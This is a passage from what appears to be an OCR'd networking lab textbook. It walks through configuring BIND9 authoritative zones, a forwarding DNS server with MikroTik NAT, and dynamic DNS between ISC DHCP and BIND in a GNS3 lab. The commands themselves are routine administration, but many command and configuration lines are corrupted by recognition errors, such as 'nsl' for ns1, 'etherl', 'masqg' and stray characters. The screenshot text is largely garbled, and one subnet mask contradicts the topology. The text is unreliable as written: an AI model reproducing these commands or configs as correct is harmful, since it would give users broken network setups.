2.2.1. Rename the comment at the start of the file to reflect its new purpose

; BINDY9 reverse data file for red.net.

2.2.2. Below $TTL add the following directive

SORIGIN 80.30.89.in-addr.arpa.

NOTE: Once again, the octets are in LITTLE ENDIAN order. This dictates the base
internet address (in-addr) that will be appended to any incomplete IP addresses
later. For example, the IP address 35 will be interpreted as 35[.]80[.]30[.]89[.]in-
addr[.]Jarpal[.] otherwise known as 89[.]30[.]80[.]35.

2.2.3. In the Start of Authority (SOA) declaration, specify the master DNS server
domain
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SOA nsl.red.net. hostmaster.red.net. (

2.2.4. Increment the Serial value by one

; Serial

|

2.2.5. Leave the Refresh/Retry/Expire/Negative Cache TTL values as their default for
now

2.2.6. Replace the current NS entry with the master DNS server domain

@ IN NS nsl.red.net.

2.2.7. Map the server's currently assigned IP addresses (last octet) with its associated
FQDN

35 IN PTR nsl.red.net.

NOTE: If you are mapping IP addresses with a shorted reverse ARPA address, then
do not forget to include both host octets. For example, the address 176[.]155[.12[.]15/
20 would be represented as 55[.]176[.]in-addr[.]Jarpal.] in the $ORIGIN directive
and mapped as 15[.]2 IN PTR pc.example[.]Jcom[.].

2.2.8. Save the file and exit the editor

2.2.9. Use this image for configuration reference



442 MATHEW J. HEATH VAN HORN, PHD

S0A nsl.red.net. hostmaster.red.net. |

Figure 15 - Reverse data file for red.net.

2.3. Verify that the file was configured correctly

> named-checkzone 80.30.89.in-addr.arpa. /var/lib/bind/db.red.net.rev

3. Repeat the above process and make another set of forward and reverse lookup files for blue.net

NOTE: Don't get confused. The name server is in the red network. That is why the SOA and NS will
remain unchanged.

3.1. /var/lib/bind/db.blue.net
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f Data File for blue.net.
Jacob Christensen

202d .03, 30

blue.net.
S08 1=K {

i E -E
J : Megative Cache TTL

nsl.red.net.

Figure 16 - Forward data file for blue.net.

> named-checkzone blue.net. /var/lib/bind/db.blue.net

3.2. /var/lib/bind/db.blue.net.rev

bhlue.net.
SEN

ter.red.net. |

nsil.red.net.
1lUe
1lue.net.
blue.net.

Figure 17 - Reverse data file for blue.net.

> named-checkzone 5.168.192.in-addr.arpa. /var/lib/bind/db.blue.net.rev
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4. Modify the permissions for the zone files

4.1. Change the owner and group from root to the bind user

> chown bind:bind /var/lib/bind/db.*

4.2. Change the file permissions to have read and write access for both the owner and group

> chmod 664 /var/lib/bind/db.*

5. Start the DNS daemon and ensure that all zones loaded properly

systemctl daemon-reload

systemctl enable named.service

systemctl restart named.service

systemctl status named.service
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Figure 18 - BIND is running without errors

Phase V - Wireshark Captures

Now that our network is set up, let's watch live packet captures to see what DNS queries look like in action.

1. Start a Wireshark capture between NS1 and the router
2. Open the terminal of PC1

2.1. Test the service by performing a DNS query on PC2

> nslookup pc2

cBPC1:"S nslookup pc2
89.30.860.35
fAiddress 1: 89.30.80.35 n=1l.red.net

pc
192.168.5.102 pcl.blue.net

Figure 19 - Successful nslookup query
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NOTE: Since they are both in the same network, theblue[.Jnet domain does not need to
be specified. To communicate with a device outside the LAN, the full domain name of the
recipient is needed.

2.2. In Wireshark, you should see a Standard query 1Pv4 (A) packet sent to NS1 and a Standard
query response packet containing the resolution

Standard query 8x94b8 A pc2.blue.net
Standard query O0x86a4 AAAA pc2.blue.net
Standard query response 0x94b8 A pc2.blue.net A 192.168.5.1082

Figure 20 - successful nslookup query as viewed on Wireshark

NOTE: You may see additional IPv6 queries (AAAA) in addition to IPv4. You can safely ignore
these since we have not configured IPv6 on our DNS server.

2.3. You can also perform a reverse DNS lookup with the nslookup binary to discover the
hostname of a machine given its IP address

> nslookup 192.168.5.102

c@PC1:75 nzlookup 192.168.5.102
89.30.80.35
ddress 1: 89.30.80.35 n=l.red.net

ame : 192 .168.5.102

ddress 1: 192.168.5.102 pcZ.blue.net
c@PC1:75

Figure 21 - Successful reverse nslookup

2.4. Again, you should see a Standard query hostname (PTR) packet sent to the NS1 and a
Standard query response packet containing the mapped IPv4 address

Standard query 0x8202 PTR 102.5.168.192.in-addr.arpa
Standard query response B0x8202 PTR 182.5.168.192.in-addr.arpa PTR pc2.blue.net

Figure 22 - reverse nslookup on Wireshark

3. From PC1, ping the DNS server

> ping nsl.red.net
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3.1. If the full domain name is not given, the local name will be appended instead and the
name will not be resolved

> ping nsl

Standard query 0x8889 A nsl.blue.net
Standard query ©0x898d AAAA nsl.blue.net
Standard query response 8x8089 No such name A nsl.blue.net SOA nsl.red.net

Figure 23 - nslookup fails

NOTE: Notice how the domain ns1[.Jblue[.Jnet was queried instead of ns1[.Jred[.Jnet.

4. Congratulations! You have successfully configured an authoritative DNS server with static IP
addresses in your network

End of Lab

Deliverables

+  Screenshot of the GNS3 Working environment

«  Screenshot of PC1 successfully forward resolving the details of PC2
«  Screenshot of PC1 successfully reverse resolving the details of PC3

+  Screenshot of PC3 successfully pinging PC2 by name instead of IP

Assignment 1 - Add a Green network to the router:

. Use a random IP address space
. Use two end devices
. Plan for the addition of 313 machines

o Modify the DNS server to include the new subnet

Assignment 2 - Add a Purple network to the router:

. Use a random IP address space

. Use two end devices
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. Minimize wasted address space for 245 machines

. Modify the DNS server to include the new subnet zones
RECOMMENDED GRADING CRITERIA
+  Wireshark screenshots of successful purple.net forward and reverse domain resolution

+  Wireshark screenshots of successful green.net forward and reverse domain resolution

. Screenshot of GNS3 workspace that is neatly organized and labeled

Figures for Printed Document

There are no clickable figures in the digital edition which need to be placed here for the print edition.
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CHAPTER 24

Domain Name System Part 2 - Forwarding DNS

JACOB CHRISTENSEN

In the last lab, we configured our network so our devices could communicate via human-readable names rather
than IP addresses. However, we did not build the ability to interact with Internet domains. In this chapter, we will
reconfigure our DNS server to forward non-authoritative domain queries (such as www.google.com) to a public
resolver and further extend our network’s capabilities.

Estimated time for completion: 25 minutes

LEARNING OBJECTIVES

+ Demonstrate how to configure and implement a forwarding DNS server for Internet communications

+ Learn how to implement a network address translation (NAT) rule between a LAN and WAN

PREREQUISITES

+ Chapter 23 - Domain Name System Part 1

DELIVERABLES

+ Screenshot of RED1
o Successful nslookup of Google
o Successful ping of Google

+ Screenshot of BLUE1
o Successful nslookup of Google
o Successful ping of Google

+ Screenshot of the dig trace of Google

* Screenshot of GNS3 environment

RESOURCES

+ BIND9 Administrator Reference Manual - https://bind9.readthedocs.io/en/v9.18.16/

449
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+ MikroTik RouterOS Documentation - https://help.mikrotik.com/docs/display/ROS/RouterOS

CONTRIBUTORS AND TESTERS

+ Mathew J. Heath Van Horn, PhD, ERAU-Prescott
+ Kyle Wheaton, Cybersecurity Student, ERAU-Prescott

DNS Hierarchy Explained

When you look up a website for the first time, you may notice it will load considerably slower when compared
to subsequent revisits. This is because your computer does not yet know the web server’s IP address, and must
ask around first before it can start making HTTP requests. However, once the domain-to-IP translation is known,
various entities such as your browser, computer, router, and ISP servers all have local storage reserved for
caching this information, which speeds up query resolutions. This is a feature for end-user convenience and
saving bandwidth, but how does your DNS server know where to look when it receives an unknown domain?

Reference the diagram below while you follow these steps to understand the process.

1. The client device makes a DNS query to the LAN's server for the domain <erau.edu.>

2. The domain is neither cached nor listed under any of its zones, so it forwards the request to a DNS resolver

3. The Resolver has a built-in list of all of the root DNS servers

«  There are 13 root <.> servers in the world. They are named sequentially from <a.root-servers.net>
to <m.root-servers.net>

. Each one knows the location of the Top Level Domain (TLD) servers

4. One of the root servers will provide the address of the <edu> TLD server, which is sent back to the Resolver

5. The Resolver will query the <edu> TLD server for the <erau> subdomain

6. The subdomain DNS identifies the webserver for <erau.edu.> and sends this information back to the end
user
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| only know an
Root "edu”, Try asking

TLD...
,/
4

Oh | know
“erau.edu”.

I'm not sure, let

Forwarder me ask...

Where is i

https://erau.edu?

\\ Subdomain | “erau.edu”? That’s

\\ i "“64.238.216.183"!
\

Now that we understand how a Forwarding DNS server works, let's build one for our network.

Diagram used with permission of Cody Shinkyu Park

Phase | - Building Network Topology

This lab is an extension of Chapter 23. If you have not completed it yet, it is recommended that you do so first
before continuing. You will be building a topology that looks like this:



https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Diagram-1.svg
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Diagram-1.svg
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red.net.
89.30.80.32/29

192.168.122.0/24

ISP(Internet)

RELAY

blue.net.
192.168.5.0/24

PC1
.101

PC2
102

SWITCH1

PC3
.103

Figure 2 - The infrastructure we are building

1. Start GNS3

1.1. Open the Chapter 23 Lab

1.2. Save lab as a new project: LAB_10
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2. Add a NAT node to the workspace and connect it to the router
2.1. Select browse all devices
2.2. Drag the NAT cloud to the GNS3 Workspace

2.3. Connect the NAT Cloud to the router (in this case we are using ether1 on the router, but
you can use any available interface)

2.4. Start the router and open the console

2.5. Configure the ether1 interface for DHCP by typing

ip dhcp-client add interface=etherl disabled=no

2.6. Verify that an IP address has successfully been assigned to the router (Figure 1)

> ip address print

3. Start the remaining devices in GNS3

4. Ensure that the Authoritative DNS server is working properly and troubleshoot network connectivity
as necessary

Phase Il - Configuring the Forwarding DNS Server

Here we will make some changes to our name server's configuration. It will still have authority over the LAN's
zones (RED, BLUE, and GRAY), but now it will forward all other requests to an outside resolver.

1. Navigate to NS1 and log in

2. Open the DNS daemon configuration file using any text editor you prefer

> vi /etc/bind/named.conf.options

2.1. Modify the file to allow recursion and allow the labnets ACL access cache and recursion
services

recursion yes;


https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/DNS2-Figure-2.png
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allow-query-cache { labnets; };

allow-recursion { labnets; };

2.2. Add the forwarders directive inside options to allow our network to use Google's server as
our DNS resolvers

forwarders {
8.8.8.8;
8.8.4.4;
}i

2.3. Use the following image for configuration reference (Figure 3)
2.4. Save and exit the editor

3. Check the configuration file for syntax errors

> named-checkconf /etc/bind/named.conf.options

4. Restart the BIND9 service and check its status to ensure it is active and that all zones were loaded
properly

> systemctl restart named

> systemctl status named

Phase Ill - Configuring the MikroTik Router with NAT

If you were to test pinging www.google.com at this point, you would likely receive the following error
“Temporary failure in name resolution.” This is because the network does not yet know where Google's servers
are, let alone how to reach them. Let's configure our router so we can start communicating with the Internet.

1. Open the router console


https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/DNS2-Figure-3-1.png
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2. Configure the router with NAT to allow both subnets to access the Internet

2.1. Create a firewall group called /labnets which includes both subnets

> ip firewall address-list add list=labnets address=89.30.80.32/27

> ip firewall address-list add list=labnets address=192.168.5.0/24

2.2. Add a NAT rule to the router’s forward-facing interface (in our example it is ether1). Since
it has a dynamic address, its action will be set to masquerade (masq). Otherwise, this value
should be set to “src-nat” with its associated static destination address

> ip firewall nat add chain=srcnat action=masqg src-address-list=labnets

out-interface=etherl disabled=no

Command Description

Needed to access the control menu for configuring internet protocol firewall network address

ip firewall nat translation (NAT)

add add the following commands to the configuration

Mikrotik calls the grouping of firewall rules “chains”. In this case, we are telling the router to use
chain=srcnat the srcnat chain - because the source (src) NAT for our packets that originate from outside the
network are from our NAT cloud.

For all packets, the router will make a masquerade (masq) action and replace the source port of
action=masq the IP packet with one provided by the router. This is done because our NAT cloud is using
non-static IPs.

the source (src) addresses the firewall should be looking for are the ones in the list named

src-address-list=labnets ‘labnets’. In step 2.1 above we added two IP addresses to this list: 89.30.80.32/27 and 192.168.5.0/
24

out-interface=ether1 the outbound packet interface will be ether1

disabled = no keep this rule in

3. Test the name resolution service by looking up any public website of your choice from all devices
within the LAN

> nslookup www.google.com

> ping www.google.com

View Figure 4 for an example of the results

4. Open the NS1 server for a more detailed examination of the DNS hierarchy with the following
Domain Information Groper (dig) utility command


https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/DNS2-Figure-4.png
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> dig +trace www.google.com +nodnssec

View Figure 5 for an example of the results

End of Lab

Deliverables

To receive credit for completing this lab, submit the following 4 screenshots
+  Screenshot of RED1
o Successful nslookup of Google
o Successful ping of Google

. Screenshot of BLUE1

o Successful nslookup of Google
° Successful ping of Google
«  Screenshot of the dig trace of Google

. Screenshot of GNS3 environment

NOTE: - some websites block DIG requests, so if you get no response, try another site

DIG is short for a tool named “Domain Information Groper”. It is used to interrogate DNS name servers. We
use DIG to perform DNS lookups and evaluate the returned responses. It is flexible to use and can be used as a
command line or batch function. Visit the man pages in a Linux machine to view all the options available.

Assignment 1 - Explore the functions of the DIG tool

0 Use the dig manual in the NS1 server (man dig) to explore various ways of using the dig tool. This is very|
helpful when assessing how much information your web pages reveal or performing reconnaissance on a
target.

Assignment 2 - Use DIG in batch mode

J Use dig's batch mode to conduct the same 4 inquiries as Assignment 1 on three different websites. You
will need to create a file to contain the website names. Submit 4 screenshots as evidence:

RECOMMENDED GRADING CRITERIA FOR BOTH ASSIGNMENTS - 4 screenshots

J Demonstrated using Dig to perform a DNS lookup
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g Retrieved all DNS records along with the IP addresses using Dig

. Utilized advanced Dig commands to retrieve only the IP address associated with the target domain name

. Used Dig to look up the target domain by its IP address

Screenshots for Printed Copies

i ] >
Colum ADDRESS, NETWORK, INTERFACE
MNETWORK INTERFACE

METWORK, INTERFACE
METWORK INTERFACE

Figure 1 - Configuring ether1 for DHCP
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acl labnets
127.0.08.1; // localhost
89.30.80.32/29; // localnet (red.net.)
192.168.5.0/24:; // blue.net.

1:

options {
directory "/varjfcache/bind";

version "not currently available";
recursion yes;
empty-zones-enable no;

allow-query { Labnets; }:
allow-query-cache { labnets; };
allow-recursion { labnets; };
allow-transter { none; };

dnssec-validation no;
auth-nxdomain no:

listen-on port 53 { 127.0.0.1; 89.30.80.35; }:
listen-on-vé { none; };

_.I
(=8

oW
we we [T
b |
LA
—

£ 0

Figure 3 - Modified NST settings

ﬂ Blu=1 [Funning] - Cracle VM VirtualBox

Fle Machine View Input Devices Help

qmqle,c |
le,com (132,17

Figure 4 - nslookup for google.com
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: 5§ dig +trace www.google.com +nodnssec

; =<=> D1G 92.18.18-0ubuntud.22.04.2-Ubuntu =<>> +trace www.google.com +nodns
;; global options: +emd

517812 IN NS e.root-servers.net.
517812 IN NS d.root-servers.net.
517812 IN NS f.root-servers.net.
517812 1IN NS b.root-servers.net.
517812 IN NS m.root-servers.net.
517812 1IN NS .root vers.net.
517812 IN NS .root-servers.net.
517812 IN NS .root-servers.net.
517812 IN NS .root-servers.net.
517812 IN NS c.root-servers.net.
517812 = a.root-servers.net.
517812 S h.root-servers.net.
517812 k.root-servers.net.
Received 811 bytes from 127.0.@ D .6 ) in ® ms

UDP setup with 2e01:500:2 91:500: ::f) for www.google.com failled: network unreachable.
UDP setup with 2001:500:2 001:5€ ::f) for www.google.com failed: network unreachable.

;; UDP setup with 2001:500:2 #53(2001:500:2fF::f) for www.google.com failed: network unreachable.

com. 172800 NS .gtld-servers.net.

com. 172800 NS

com. 172800 NS

com. 172800 NS

com. 172800 NS

com. 172800 NS

com. 172800 NS

com. 172800 1IN NS

com. 172800 IN NS

com. 172800 IN NS

com. 172800 IN NS

com. 172800 IN NS

com. 172800 IN NS

;; Received 870 bytes from 192.112.36.4#53(g.roo

a3o

.gtld-
.gtld-servers.
.gtld-servers.net.
.gtld-servers.net.
.gtld-servers.net.
.gtld-servers.net.
ervers.net.
L
et.
.gtld-servers.net.
-servers.net) in 64 ms

N T e oM

=R h

;; UDP setup with 2001:503:d2 30#53(2001:503:d2 30) for www.google.com failed: network unreachable.

;; UDP setup with 2001:503:a83e::2:30#53(2001:503:a83e::2:30) for www.google.com failed: network unreachable.
:: UDP setup with ea3::30#53(2001 ©@3:eea3::30) for www.google.com failed: network unreachable.
google.com. 2800 IN NS ns2.google.com.

google.com. 2800 IN NS nsl.google.com.

google.com. 2@ IN NS ns3.google.com.

google.com. IN NS ns4.google.com.

;; Received 291 bytes from 192.55.83.30#53(m.gtld-servers.net) in 28 ms

www.google.com. 300 IN A 192.178.48.228
:: Received 216.239.38.10#53(ns4.google.com) in 44 ms

5

Figure 5 - Results of running DIG on www.google.com



460 MATHEW J. HEATH VAN HORN, PHD

CHAPTER 25

Domain Name System Part 3 - Dynamic DNS

JACOB CHRISTENSEN

In Chapter 23, we manually configured our DNS entries with the IP addresses that were statically assigned to our
client devices. However, it is uncommon to use static IP assignments, especially in networks with hundreds or even
thousands of clients! If we can get our DHCP and ADNS servers to communicate with each other, then IPs can
automatically be assigned and our zone files can automatically be populated. This practice is called Dynamic DNS
(DDNS).

This lab will expand on the work in Chapter 23 and Chapter 24 to learn how to configure and manage DDNS in
a small network environment.

Estimated time for completion: 45 minutes

LEARNING OBJECTIVES

+ Learn how DDNS works on an enterprise network

+ Learn how to work with multiple services (DHCP and DNS) on one network

PREREQUISITES

+ Chapter 21 - DHCP Relay

+ Chapter 24 - Domain Name System Part 2

DELIVERABLES

* Four (4) screenshots
« BLUE1T (PC1) successfully pinging BLUE2 (PC2) by name

« BLUE2 (PC2) successfully pinging BLUE3 (PC3) by name

« BLUE1T (PC1) successfully performing a DNS query and resolution with the NS1 server via Wireshark
monitoring

+ Live stream of NS1 reports of the DHCP handshake and zone logs when (BLUE3) PC3 is rebooted

460
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RESOURCES

+ BIND9 Administrator Reference Manual - https://bind9.readthedocs.io/en/v9.18.16/
+ MikroTik RouterOS Documentation - https://help.mikrotik.com/docs/display/ROS/RouterOS

+ Archy’s Blog - Dynamic DNS with BIND and ISC-DHCP - https://archyslife.blogspot.com/2018/02/
dynamic-dns-with-bind-and-isc-dhcp.html

+ Configuring Dynamic DNS with BIND9 - https://doncrawley.com/soundtraining.net/files/
configuringdynamicdnswithbind9.pdf

CONTRIBUTORS AND TESTERS

Mathew J. Heath Van Horn, PhD, ERAU-Prescott
Kyle Wheaton, Cybersecurity Student, ERAU-Prescott

Phase | - Building the Network Topology

This lab is an extension of the previous two chapters. If you have not completed them yet, it is recommended
that you do so first before continuing. By the end your network should look like the following:



https://bind9.readthedocs.io/en/v9.18.16/
https://help.mikrotik.com/docs/display/ROS/RouterOS
https://archyslife.blogspot.com/2018/02/dynamic-dns-with-bind-and-isc-dhcp.html
https://archyslife.blogspot.com/2018/02/dynamic-dns-with-bind-and-isc-dhcp.html
https://doncrawley.com/soundtraining.net/files/configuringdynamicdnswithbind9.pdf
https://doncrawley.com/soundtraining.net/files/configuringdynamicdnswithbind9.pdf
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red.net.

89.320.80.32/29

.34

SWITCH2

NS1

.35

ISP{Internet)

113

192.168.122.0/24

blue.net.

192.168.5.0/24

PCl
101

RELAY

SWITCH1

(]

PC2
102

(=]

PC3
.103

Figure 1 - Final network topology

1. Preliminary step in VirtualBox

1.1.

Create/clone a fresh copy of the Linux Server VM with ISC's DHCP server installed
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2. Start GNS3
2.1. Save the previous lab as a new project: LAB_11
3. Reuse the network that you built in the previous chapter

3.1. Configure the router to act as a DHCP relay for the Blue subnet (Chapter 21, Phase |l, Step
1)

3.2. Add a DHCP server to the Red network - Ubuntu server (DHCP1)

NOTE: In reality, both the DHCP and DNS services can operate from the same machine;
however, we are splitting them into two separate devices for clarity.

3.3. Add a switch to the Red network - Ethernet switch
3.4. Connect NS1 and DHCP1 to the switch so that they are on the same LAN

3.5. Remove the static IP addresses from Tiny Core Linux clients by commenting out the rules
for static IP assignment

> vi /opt/bootlocal.sh

tartup commands

Figure 1a - removing the static IP

NOTE: Make sure that each client device keeps its unique hostnames!

4. Label and organize your network as necessary

Phase Il - Modify the DNS Server

This section assumes that all configurations made in the previous chapter have carried over to this one.
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1. Start NS1 and login

2. Generate a new Remote Name Daemon Control (RNDC) key to use to communicate with DHCP1

NOTE: Ensure that you have the bind9-utils package installed!

> rndc-confgen -a -b 512

Switch Description
-a Automatically generate the RNDC file in the /etc/bind directory.
-b Set the size of the key as a value between 1 and 512 bits.

3. Modify the file permissions of rndc[.jkey

3.1. Change the owner and group from root to the bind user

> chown bind:bind /etc/bind/rndc.key

3.2. Change the file permissions to give read access for the group

> chmod 640 /etc/bind/rndc.key

4. Modify the named|.Jconf].Jlocal file

> vi /etc/bind/named.conf.local

4.1. Atthe beginning of the file, before the zone declarations, include the RNDC key

include “/etc/bind/rndc.key”;

/1

// Do any local configuration herel

J/ ***** FORWARD ZONES HERE *#**%*%

Figure 2 - BIND9 configuration
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4.2. Within each zone declaration, add the following directive to allow the zones to be updated
with the key

allow-update { key rndc-key; 1};

// Do any local configuration here

include "/etc/bind/rndc.key";

J/ ***** FORWARD ZONES HERE **¥**%

J//forward red.net
zone "red.net." {
pe master;

file "/fvar/lib/bind/db.red. nct"'
I

J//forward blue.net
zone "blue.net." {
type master;
allow-update { key rndc-key; };
file "fvar/lib/bind/db.blue.net";
};

Figure 3 - Updating zone directives

4.3. Save and exit the editor

4.4. Verify the configuration settings

> named-checkconf

5. Add a new static entry in the red].Jnet zone files for DHCP1

5.1. Modify the forward lookup zone file

> vi /var/lib/bind/db.red.net
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data file for red.net.

Written by

STTL
SORIGIN red.net.
@ IN SOF nsl.red.net. hostmaster.red.net.

)

nsl.red.net.

-- INSERT -- W18: Warning: Changing a readonly file

Figure 4 - Updating static forward DNS entry

5.2. Modify the reverse lookup zone file

> vi /var/lib/bind/db.red.net.rev
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se data file for red.net.

SORIGIN Ln-addr.arpa.
@ - DA nsi.red.net. hostmaster.red.net. (

)

nsl.red.net.
nsl.red.net.
dhcpl.red.net.

-- INSERT -- W10: Warninc

Figure 5 - Updating static reverse DNS entry

6. Remove all client static entries in the blue[.Jnet zone files

6.1. Modify the forward lookup zone file

> vi /var/lib/bind/db.blue.net
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forward data file for red.net.

Written by Kyle W.

SORIGIN blue.net.
@ IN nsl.red.net. hostmaster.red.net. (

nsl.red.net.

Figure 6 - Purging static forward DNS entries for an internal subnet

6.2. Modify the reverse lookup zone file

SORIGIN 5 addr.arp:
@ \ \ ster.red.net. (

)

nsl.red.net

Figure 7 - Purging static reverse DNS entries for an internal subnet

7. Restart the DNS server and verify that it is running

> systemctl restart named.service
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> systemctl status named.service

NOTE: Errors at this stage are likely due to incorrect permissions on the RNDC file. Ensure that both
the owner (bind) and group (bind) can read the file.

8. Start and enable Systemd's time synchronization daemon

> systemctl start systemd-timesyncd.service

> systemctl enable systemd-timesyncd.service

Phase Il - Configuring the DHCP Server

The following section outlines the configuration of the DHCP daemon for the network.

1. Start DHCP1 and login - Refer to (Chapter 23, Phase lll, Step 3)

1.1. Modify the machine’s hostname to dhcp1

> hostnamectl hostname dhcpl

1.2. Assign a static IP address, default gateway, primary DNS server, and local domain name

NOTE: This example uses the following information:
- IP Address: 89.30.80.34/29
- Local Domain: red.net
- Nameservers: 89.30.80.35
- Gateway: 89.30.80.33

1.2.1. Verify that the name server information is correctly pointing towards ns1
(89.30.80.35) and that the current domain is red[.]Jnet

> resolvectl status

469



470 MATHEW J. HEATH VAN HORN, PHD

:$ resolvectl status
Global
Protocols: -LLMNR -mDNS -DNSOverTLS DNSSEC=no/unsupported

resolv.conf mode: stub

Link 2 (enp@s3)

Current Scopes: DNS
Protocols: +DefaultRoute +LLMNR -mDNS -DNSOverTLS DNSSEC=no/unsupported
Current DNS Server: 89.30.80.35
DNS Servers: 89.30.80.35
DNS Domain: red.net

Y |

Figure 8 - DNS information verification

2. Having all elements in a network synchronized to the same time is critical. SNTP clients provide this
service. Linux uses Systemd's timesync daemon to provide SNTP packets. Start it and enable (start on
boot) the service by typing

> systemctl start systemd-timesyncd.service

> systemctl enable systemd-timesyncd.service

2.1. Transfer the RNDC key file from NS1 to the primary user's home directory in DHCP1

NOTE: The default user on my machines is iako; be sure to change the following commands
as necessary.

2.1.1. Login to the NS1 terminal

> ssh 1ako@89.30.80.35

NOTE: You should see the hostname change to ns7 when you login successfully.

2.1.2. Switch to the root user

> sudo su

2.1.3. Use the Secure Copy (SCP) command to make a copy of rndc[.Jkey to the
primary user of DHCP1



DYNAMIC DNS

> scp /etc/bind/rndc.key 1ako@89.30.80.34:/home/iako

2.1.4. Exit from root

> exit

2.1.5. Exit the SSH session

> exit

2.1.6. Verify you see the RNDC key in your home directory

> 1s -1 ~

2.2. Modify the permissions for the RNDC key file

2.2.1. Ensure that the owner and group are both root

> chown root:root ~/rndc.key

2.2.2. Change the permissions to remove read access from others

> chmod 640 ~/rndc.key

2.2.3. Move the file to the DHCP configuration directory

> mv ~/rndc.key /etc/dhcp/ddns-keys

NOTE: If the ddns-keys folder does not exist, make it with the following
permissions:

> mkdir /etc/dhcp/ddns-keys
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> chown root:dhcpd /etc/dhcp/ddns-keys

> chmod 710 /etc/dhcp/ddns-keys

2.3. Modify the DHCP daemon configuration file to support both subnets and their domains

> vi /etc/dhcp/dhcpd.conf

2.3.1. Include global parameters that apply to all subnets, including the new RNDC

key file
i 'Jake M. Christensen'

ppabapabaabuafudefobefobefodefodododogodoodopudpubifubadadss
HAEMARER Global Parameters HAHARYR
ppabapabaabuafudefobefobefodefodododogodoodopudpubifubadadss

authoritativ
default-1

e e e e i i i i i i i i i i
#addd#d DDNS Farameters #add##d
e e e e i i i i i i i i i i i

ddns-updates on;
d ipdate-style standard;

Figure 9 - DHCP daemon configuration part 1

2.3.2. Add the forward lookup zones for the subnets included in our BIND9 server
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R R R R R R R R R R R R
aERdEER Forward Zones REssddd
R R R R R R R R R R R R

i red.net
zone red.net.

& hlue.net
zone hlue.n

Figure 10 - DHCP daemon configuration part 2

2.3.3. Add the reverse lookup zones for the subnets included in our BIND9 server

pfadodadobafugefugefobidodidodidodododofod o Fobodadss
HRdHEEE Beverse Zones ##R#dHHA
pfadodadobafugefugefobidodidodidodododofod o Fobodadss

# blue.net
Zone 5.168
prima

key rndc

Figure 11 - DHCP daemon configuration part 3

2.3.4. Add the DHCP subnet directives for both the Red and Blue networks
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R
Audaddd Subnet Directives ##w#sd#
R

option
option
option
option

Figure 12 - DHCP daemon configuration part 4

2.4. Restart the DHCP service

2.5. Ensure that each client in blue[.Jnet is able to receive an IP address and that its domain
information is correct

2.5.1. Login to the terminal of PC1

2.5.2. Verify it was assigned an IP address

> ifconfig

Cc@PC1:™5 ifconfig

ethO Link encap:Ethernet HUaddr 03:00:27:0n:74:7D
inet addr:192.168.5.100 Bcast:192.168.5.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST HMTU:1500 Metric:1
RX packet=:13 errors:0 dropped:0 overruns:0 frame:0
TX packets:5Z errors:0 dropped:® overruns:0 carrier:0
collisions:0 txgqueuelen:1000
RX bytes:Z277 (2.2 KiB) TX bytes:172Z2Z (16.8 KiB)

Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

UP LOOPBACK RUNNING MTU:65536 HMetric:1

RX packets:0 errors:0 dropped:@ overruns:@ frame:0
TX packet=:0 errors:0 dropped:0 overruns:@ carrier:0
collisions:0 txgqueuelen:1000

RX bytes:® (0.0 B) TX bytes:0 (0.0 B)

Figure 13 - Tiny Core static IP verification
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2.5.3. Verify its DNS information is correct

> cat /etc/resolv.conf

tc@PC1:"5 cat setcsresolv.conf
isearch blue.net

mameserver 89.30.80.35
tc@PC1:™S

Figure 14 - DNS information verification

2.5.4. Repeat for the other two client devices

2.6. Troubleshoot as necessary before proceeding to the next section

Phase IV - Wireshark Captures

Now that our network is set up, lets watch at some live packet captures to what DNS queries look like in action.

1. Start a Wireshark capture between NS1 and the switch
2. Test the dynamic DNS updates

2.1. In Wireshark, filter for DNS
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£ *- [NS1 Ethernet0 to Switch2 Ethernet1] — O *

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

mae RE QRe=2=Z2f s S EaqaH
[ [ansl 1X] -]+
Ma. Time Source Destination Protocal  Length Info
9 36.633356 89.38.80.34 89.30.80.35 DNS 254 Dynamic update 8x3lce SOA blue.net
11 36.6374@4 89.38.88.35 89.38.80.34 DNS 175 Dynamic update response @x3lce S0A
19 36.638329 80.38.30.34 89.308.80.35 DNS 231 Dynamic update @x@49a SOA 5.168.192F
21 36.648773 89.38.88.35 89.38.80.34 DNS 189 Dynamic update response @x@4%9a SO0A
33 43.874585 89.38.808.34 89.368.80.35 DHS 254 Dynamic update @xf878 S0A blue.net
35 43.877456 89.38.80.35 89.38.88.34 DHS 175 Dynamic update response @xf&78 sOA
43 43.878382 89.38.88.34 89.368.8@.35 DHS 231 Dynamic update @x9e4f SOA 5.168.192
45 43.888867 89.38.88.35 89.368.88.34 DNS 189 Dynamic update response @x9ed4f SOA
£ >
[ < > |« >
':::' 7 Domain Name System: Protocol Packets: 49 * Displayed: 8 (16.3%) Profile: Default

Figure 15 - DNS traffic

2.2. In the NS1 terminal, start monitoring the system log

tail -f /var/log/syslog
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S tail -f fvar/log/syslog
pr 13 23:02:20 nsl named[3275]: client @@x7felacl4a4d8 89.30.80.34#39739/key rn
dc-key: updating zone 'blue.net/IN': adding an RR at 'PC2.blue.net' DHCID AAEBi4
5Tm5N1zOHMP3tkkGLMXw3NOFBLlydgAtTVNX447kus=
Apr 13 23:02:20 nsl named[3275]: client @@x7felacl4a4d8 89.30.80.34#44359/key rn
dc-key: signer "rndc-key" approved
Apr 13 23:02:20 nsl1 named[3275]: client @@x7felacl4a4d8 89.30.80.34#44359/key rn
dc-key: updating zone '5.168.192.in-addr.arpa/IN': deleting rrset at '101.5.168.
192.in-addr.arpa' PTR
Apr 13 23:02:20 ns1 named[3275]: client @@x7felaci4a4d8 B89.30.80.34#44359/key rn
dc-key: updating zone '5.168.192.in-addr.arpa/IN': adding an RR at '101.5.168.19
2.in-addr.arpa' PTR PC2.blue.net.
pr 13 23:02:27 nsl named[3275]: client @@x7felacl4a4d8 89.30.80.34%#44027/key
dc-key: signer "rndc-key" approved
Apr 13 23:02:27 nsl1 named[3275]: client @0x7felaci4a4d8 B89.30.80.34#44027/key
dc-key: updating zone 'blue.net/IN': adding an RR at 'PC3.blue.net' A 192.168.

Apr 13 23:02:27 ns1 named[3275]: client @@x7felacl4a4d8 89.30.80.34#44027/key rn
dc-key: updating zone 'blue.net/IN': adding an RR at 'PC3.blue.net' DHCID AAEBQK
VvHR2EWYBRNUWpZFdFd6mLRX1VUVUZdtFkjbOocft+8=

